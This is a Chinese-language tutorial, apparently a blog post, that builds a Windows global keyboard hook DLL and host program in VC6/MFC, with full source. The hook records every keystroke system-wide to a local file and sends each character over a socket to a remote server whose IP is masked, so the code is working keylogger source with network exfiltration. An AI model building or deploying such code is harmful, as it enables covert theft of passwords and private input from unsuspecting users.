用钩子机制实现键盘监听—键盘监听器
Windows系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的。而钩子是Windows系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。钩子的种类很多,每种钩子可以截获并处理相应的消息,如键盘钩子可以截获键盘消息,外壳钩子可以截取、启动和关闭应用程序的消息等。本文在VC6编程环境下实现了一个简易的键盘监听器,并对Win32全局钩子的运行机制。
废话不多说,先上程序代码及实现过程
第一部分:创建动态链接库
1、创建一个 MFC AppWizard(DLL) 工程 命名为 MyHook;
2、选择MFC Extension DLL(共享MFC拷贝)类型;
3、由于VC 6.0是没有现成的钩子类,所以我们要创建一个钩子类
点击 文件->新建->C/C++ Header File,命名为CMyHook,点击 确定,生成CMyHook.h文件;
4、打开CMyHook.h文件,写入钩子类,如下:
CMyHook.h
class AFX_EXT_CLASS CMyHook : public CObject
{
public:
CMyHook(); //构造函数
virtual ~CMyHook(); //析构函数
public:
BOOL StartHook(); //安装钩子
BOOL StopHook(); //卸载钩子
};
5、打开MyHook.cpp文件,在顶部加入:#include “CMyHook.h”
6、在MyHook.cpp文件中加入全局共享数据段,如下:
#pragma data_seg("mydata")
HHOOK glhHook=NULL; //安装globle勾子句柄
HINSTANCE glhInstance=NULL; //DLL实例句柄
#pragma data_seg()
7、定义数据段mydata,工程-> 设置-> 连接-> 工程 选项-> 加入语句:/SECTION:mydata,rws
8、在MyHook.cpp的DLLMain函数中加入语句: glhInstance=hInstance;//插入保存DLL实例句柄
如下:
.....
UNREFERENCED_PARAMETER(lpReserved);
if (dwReason == DLL_PROCESS_ATTACH)
{
TRACE0("MYHOOK.DLL Initializing!\n");
// Extension DLL one-time initialization
if (!AfxInitExtensionModule(MyHookDLL, hInstance))
return 0;
// Insert this DLL into the resource chain
// NOTE: If this Extension DLL is being implicitly linked to by
// an MFC Regular DLL (such as an ActiveX Control)
// instead of an MFC application, then you will want to
// remove this line from DllMain and put it in a separate
// function exported from this Extension DLL. The Regular DLL
// that uses this Extension DLL should then explicitly call that
// function to initialize this Extension DLL. Otherwise,
// the CDynLinkLibrary object will not be attached to the
// Regular DLL's resource chain, and serious problems will
// result.
new CDynLinkLibrary(MyHookDLL);
glhInstance=hInstance;//插入保存DLL实例句柄
}
else if (dwReason == DLL_PROCESS_DETACH)
{
.....
9、接下来就是与钩子相关的各个函数的实现
实现回调函数
//钩子回调函数
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
char ch=0;
FILE *fl;
if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有键按下
{
if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) )
{
fl=fopen("key.txt","a+"); //输出到key.txt文件
if (wParam==VK_RETURN)
{
ch=' ';
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
//ch=MapVirtualKey(wParam,2); //把虚键代码变为字符
ch =char(w);
}
fwrite(&ch, sizeof(char), 1, fl);
ConnectionTo(ch);
}
fclose(fl);
}
return CallNextHookEx( glhHook, nCode, wParam, lParam );
}
实现钩子类的构造函数、析构函数、安装、卸载
CMyHook::CMyHook()
{
}
CMyHook::~CMyHook()
{
if(glhHook)
UnhookWindowsHookEx(glhHook);
}
//安装钩子
BOOL CMyHook::StartHook()
{
BOOL bResult=FALSE;
glhHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,glhInstance,0);
if(glhHook!=NULL)
bResult=TRUE;
return bResult;
}
//卸载钩子
BOOL CMyHook::StopHook()
{
BOOL bResult=FALSE;
if(glhHook)
{
bResult= UnhookWindowsHookEx(glhHook);
if(bResult)
glhHook=NULL;
}
return bResult;
}
10、由于我们要实现监听信息的远程传输,所以我们要用到socket技术,在回调函数之前加入下列代码,创建成一个客户端
BOOL ConnectionTo(char ch)
{
//加载套接字
WORD wVersionRequested;//指定准备加载Winsock的库版本,如2.1
WSADATA wsaData;
int err;
SOCKET sockClient;
//初始化--连接服务器
wVersionRequested = MAKEWORD(1 ,1 );
err = WSAStartup(wVersionRequested ,&wsaData );//该函数,把wsaData数据结构中第一个字段wVersion设为wVersionRequested使用的Winsock版本
if( err!= 0){
return false;
}
if(LOBYTE(wsaData.wVersion) !=1 || HIBYTE(wsaData.wVersion) !=1 ){
WSACleanup();
return false;
}
sockClient = socket(AF_INET,SOCK_STREAM,0);//流式 套接字
SOCKADDR_IN addrSrv ;
addrSrv.sin_addr.S_un.S_addr = inet_addr("***.**.**.**");//server IP (设置成接受信息的主机IP)
addrSrv.sin_family = AF_INET;
addrSrv.sin_port=htons(6000); //端口
//连接服务器
connect(sockClient,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR));
//发送数据
send(sockClient,&ch,strlen(&ch),0);
return TRUE;
}
11、在顶部的,引入Winsock2头文件,再点击 工程-> 设置-> 连接-> 对象/库模块-> 加入语句:wsock32.lib->确定
12、MyHook.cpp代码如下:
// MyHook.cpp : Defines the initialization routines for the DLL.
//
#include "stdafx.h"
#include
#include "CMyHook.h"
#include
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
#pragma data_seg("mydata")
HHOOK glhHook=NULL; //安装globle勾子句柄
HINSTANCE glhInstance=NULL; //DLL实例句柄
#pragma data_seg()
static AFX_EXTENSION_MODULE MyHookDLL = { NULL, NULL };
extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
// Remove this if you use lpReserved
UNREFERENCED_PARAMETER(lpReserved);
if (dwReason == DLL_PROCESS_ATTACH)
{
TRACE0("MYHOOK.DLL Initializing!\n");
// Extension DLL one-time initialization
if (!AfxInitExtensionModule(MyHookDLL, hInstance))
return 0;
// Insert this DLL into the resource chain
// NOTE: If this Extension DLL is being implicitly linked to by
// an MFC Regular DLL (such as an ActiveX Control)
// instead of an MFC application, then you will want to
// remove this line from DllMain and put it in a separate
// function exported from this Extension DLL. The Regular DLL
// that uses this Extension DLL should then explicitly call that
// function to initialize this Extension DLL. Otherwise,
// the CDynLinkLibrary object will not be attached to the
// Regular DLL's resource chain, and serious problems will
// result.
new CDynLinkLibrary(MyHookDLL);
glhInstance=hInstance;//插入保存DLL实例句柄
}
else if (dwReason == DLL_PROCESS_DETACH)
{
TRACE0("MYHOOK.DLL Terminating!\n");
// Terminate the library before destructors are called
AfxTermExtensionModule(MyHookDLL);
}
return 1; // ok
}
BOOL ConnectionTo(char ch)
{
//加载套接字
WORD wVersionRequested;//指定准备加载Winsock的库版本,如2.1
WSADATA wsaData;
int err;
SOCKET sockClient;
//初始化--连接服务器
wVersionRequested = MAKEWORD(1 ,1 );
err = WSAStartup(wVersionRequested ,&wsaData );//该函数,把wsaData数据结构中第一个字段wVersion设为wVersionRequested使用的Winsock版本
if( err!= 0){
return false;
}
if(LOBYTE(wsaData.wVersion) !=1 || HIBYTE(wsaData.wVersion) !=1 ){
WSACleanup();
return false;
}
sockClient = socket(AF_INET,SOCK_STREAM,0);//流式 套接字
SOCKADDR_IN addrSrv ;
addrSrv.sin_addr.S_un.S_addr = inet_addr("***.**.**.**");//server IP (设置成接受信息的主机IP)
addrSrv.sin_family = AF_INET;
addrSrv.sin_port=htons(6000); //端口
//连接服务器
connect(sockClient,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR));
//发送数据
send(sockClient,&ch,strlen(&ch),0);
return TRUE;
}
//钩子回调函数
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
char ch=0;
FILE *fl;
if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有键按下
{
if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) )
{
fl=fopen("key.txt","a+"); //输出到key.txt文件
if (wParam==VK_RETURN)
{
ch=' ';
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
//ch=MapVirtualKey(wParam,2); //把虚键代码变为字符
ch =char(w);
}
fwrite(&ch, sizeof(char), 1, fl);
ConnectionTo(ch);
}
fclose(fl);
}
return CallNextHookEx( glhHook, nCode, wParam, lParam );
}
CMyHook::CMyHook()
{
}
CMyHook::~CMyHook()
{
if(glhHook)
UnhookWindowsHookEx(glhHook);
}
//安装钩子
BOOL CMyHook::StartHook()
{
BOOL bResult=FALSE;
glhHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,glhInstance,0);
if(glhHook!=NULL)
bResult=TRUE;
return bResult;
}
//卸载钩子
BOOL CMyHook::StopHook()
{
BOOL bResult=FALSE;
if(glhHook)
{
bResult= UnhookWindowsHookEx(glhHook);
if(bResult)
glhHook=NULL;
}
return bResult;
}
13、编译
第二部分:创建钩子程序
1、创建一个MFC的AppWizard(EXE) 工程,命名为 KeyHook
2、选择 创建新的工作空间 , 点击确定
3、找到刚才编译完成的MyHook文件夹,将CMyHook.h和MyHook.dll、MyHook.lib(在Debug文件夹中) 复制到KeyHook文件夹中
4、点击 工程-> 添加到工程-> 文件-> 选择CMyHook.h和MyHook.lib-> 点击确定
5、设置库链接,点击 工具-> 选项-> 目录-> 路径-> 加入当前KeyHook文件夹的路径
6、在KeyHookDlg.h中加入包含语句:#include “CMyHook.h”
7、在KeyHookDlg.h中添加私有数据成员:
CMHook m_hook;//加入钩子类作为数据成员
8、把OK按钮ID改为ID_HOOK,写安装和卸载的实现代码
void CKeyHookDlg::OnHook()
{
// TODO: Add your control notification handler code here
m_hook.StartHook();
ShowWindow(SW_MINIMIZE);
}
void CKeyHookDlg::OnCancel()
{
// TODO: Add extra cleanup here
m_hook.StopHook();
CDialog::OnCancel();
}
9、编译生成可执行文件
点击确定,安装钩子;键盘的按下会显示在服务器端,同时也会记入本机的key.tet文件中